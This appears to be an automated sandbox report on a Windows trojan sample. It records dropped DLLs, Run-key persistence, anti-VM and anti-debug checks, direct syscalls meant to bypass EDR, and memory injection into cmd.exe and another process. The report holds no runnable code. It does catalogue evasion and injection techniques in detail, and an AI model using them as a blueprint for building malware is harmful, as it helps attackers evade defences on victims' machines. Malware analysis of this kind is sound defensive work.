Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\rtl280.bplJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\vcl280.bplJump to dropped file
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\Supersync\rtl280.bplJump to dropped file
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\Supersync\vcl280.bplJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\trcxbjkffmJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\ssvrbxxwwJump to dropped file
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Hooking and other Techniques for Hiding and Protection

barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Windows\SysWOW64\cmd.exeModule Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\TRCXBJKFFM
Source: C:\Windows\SysWOW64\cmd.exeModule Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\SSVRBXXWW
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Switches to a custom stack to bypass stack traces
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeAPI/Special instruction interceptor: Address: 6C897C44
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeAPI/Special instruction interceptor: Address: 6C897C44
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeAPI/Special instruction interceptor: Address: 6C897945
Source: C:\Windows\SysWOW64\cmd.exeAPI/Special instruction interceptor: Address: 6C893B54
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeAPI/Special instruction interceptor: Address: 6CDB7C44
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeAPI/Special instruction interceptor: Address: 6CDB7945
Source: C:\Windows\SysWOW64\cmd.exeAPI/Special instruction interceptor: Address: 6CDB3B54
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB9060 sldt word ptr [eax]2_2_50CB9060
Source: C:\Windows\SysWOW64\cmd.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ssvrbxxwwJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\trcxbjkffmJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeDropped PE file which has not been started: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\Overtrick.dllJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeEvasive API call chain: GetLocalTime,DecisionNodes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeEvasive API call chain: GetLocalTime,DecisionNodesgraph_0-49936
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_0-49808
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe TID: 7424Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe TID: 3716Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe TID: 3716Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe TID: 7152Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe TID: 7152Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DA805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 007DA8A0h0_2_007DA805
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DA805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 007DA899h0_2_007DA805
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D6A805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 00D6A8A0h1_2_00D6A805
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D6A805 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 00D6A899h1_2_00D6A805
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_00785C81 GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,MoveFileExW,MoveFileExW,GetLastError,FindNextFileW,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,0_2_00785C81
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007D1344 FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_007D1344
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007E343B FindFirstFileW,FindClose,0_2_007E343B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079E72A FindFirstFileW,FindNextFileW,FindClose,0_2_0079E72A
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D61344 FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00D61344
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D7343B FindFirstFileW,FindClose,1_2_00D7343B
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2E72A FindFirstFileW,FindNextFileW,FindClose,1_2_00D2E72A
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D15C81 GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,MoveFileExW,MoveFileExW,GetLastError,FindNextFileW,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,1_2_00D15C81
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007EC535 VirtualQuery,GetSystemInfo,0_2_007EC535
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeThread delayed: delay time: 30000Jump to behavior
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: noreply@vmware.com0
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: http://www.vmware.com/0
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.1!0
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: http://www.vmware.com/0/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2544975041.0000000000588000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.1
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware, Inc.0
Source: RoboTaskLite.exe, 00000002.00000002.1851536791.0000000050051000.00000020.00000001.01000000.00000008.sdmpBinary or memory string: VirtualMachine
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeAPI call chain: ExitProcess graph end nodegraph_0-50627
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeAPI call chain: ExitProcess graph end node
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007CD3EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_007CD3EE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0078540B GetProcessHeap,RtlAllocateHeap,0_2_0078540B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007C7142 SetUnhandledExceptionFilter,0_2_007C7142
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007CD3EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_007CD3EE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007C6B18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_007C6B18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007C6FAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_007C6FAF
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D57142 SetUnhandledExceptionFilter,1_2_00D57142
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D5D3EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00D5D3EE
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D56B18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00D56B18
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D56FAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00D56FAF
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45E910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_6E45E910

HIPS / PFW / Operating System Protection Evasion

barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDelayExecution: Direct from: 0x7FF6FF3ADF3AJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2F5BEFJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryValueKey: Direct from: 0x14011D93EJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF29D326Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDelayExecution: Direct from: 0x7FF6FF3A366BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF379A63Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3D9B91Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Indirect: 0x14012000F
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2F9629Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtMapViewOfSection: Direct from: 0x7FF6FF28E176Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF374AF1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3D8C78Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF372F3BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDelayExecution: Direct from: 0x7FF6FF3A2206Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF20266DJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF379CA7Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3822A3Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FFE221C26A1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF29CA1AJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF2AA8ADJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2A4C2FJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeNtQuerySystemInformation: Direct from: 0x50CB3054Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF43235FJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF361AB4Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF204454Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF37F05FJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x14011D808Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2F1AA6Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtMapViewOfSection: Direct from: 0x7FF6FF2F951AJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF379C1AJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF37A0DCJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF29731BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateThreadEx: Direct from: 0x7FF6FF1F4F8BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateThreadEx: Direct from: 0x7FF6FF1F4DE2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF34A13BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF373EFEJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtMapViewOfSection: Direct from: 0x7FF6FF426B96Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryValueKey: Direct from: 0x7FF6FF2C4212Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x7FF6FF425D87
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3DE572Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateFile: Direct from: 0x7FF6FF2A4B37Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF373C92Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF3750F4Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF29EFD5Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2BB253Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2F4641Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF345B79Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF426FB7Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF374011Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF20499DJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF29D482Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2088D2Jump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeNtProtectVirtualMemory: Direct from: 0x6C8229A4Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDelayExecution: Direct from: 0x7FF6FF39D88CJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2017FCJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x14011D864
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3780D1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF1F4B32Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FFE221E4B5EJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF38D324Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF422A0DJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF208DD1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateFile: Direct from: 0x7FF6FF425D69Jump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x7FF6FF42821E
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2A671EJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtTerminateProcess: Direct from: 0x7FF6FF2A98C1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF2AAF0AJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtOpenKeyEx: Direct from: 0x7FF6FF294365Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDeviceIoControlFile: Direct from: 0x7FF6FF32BAA2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtDeviceIoControlFile: Direct from: 0x7FF6FF2F8187Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryInformationProcess: Direct from: 0x7FF6FF31FAB3Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF3D9664Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryValueKey: Direct from: 0x7FF6FF2C4443Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtMapViewOfSection: Direct from: 0x7FF6FF28DFA6Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x7FF6FF42822C
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x7FF6FF2AB116
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF38B483Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtProtectVirtualMemory: Direct from: 0x7FF6FF4339AEJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2BA9A2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryValueKey: Direct from: 0x7FF6FF2C3843Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadFile: Direct from: 0x14011D832Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF2AB63CJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF3747D3Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF20B3B9Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF37CB4BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateFile: Direct from: 0x14011D7A4Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtSetInformationProcess: Direct from: 0x7FF6FF297857Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF201E92Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtProtectVirtualMemory: Direct from: 0x7FF6FF433A86Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF2A4677Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtQueryValueKey: Direct from: 0x7FF6FF2C3736Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF384FD5Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadFile: Direct from: 0x7FF6FF2A4C8CJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtMapViewOfSection: Direct from: 0x7FF6FF250687Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x140120A3CJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF204196Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtClose: Direct from: 0x7FF6FF42820A
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtReadVirtualMemory: Direct from: 0x7FF6FF38505DJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtCreateFile: Direct from: 0x7FF6FF29C81BJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeNtAllocateVirtualMemory: Direct from: 0x7FF6FF29CD16Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read writeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: NULL target: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe protection: read writeJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read writeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: NULL target: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe protection: read write
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeSection loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe base: 14011BC08Jump to behavior
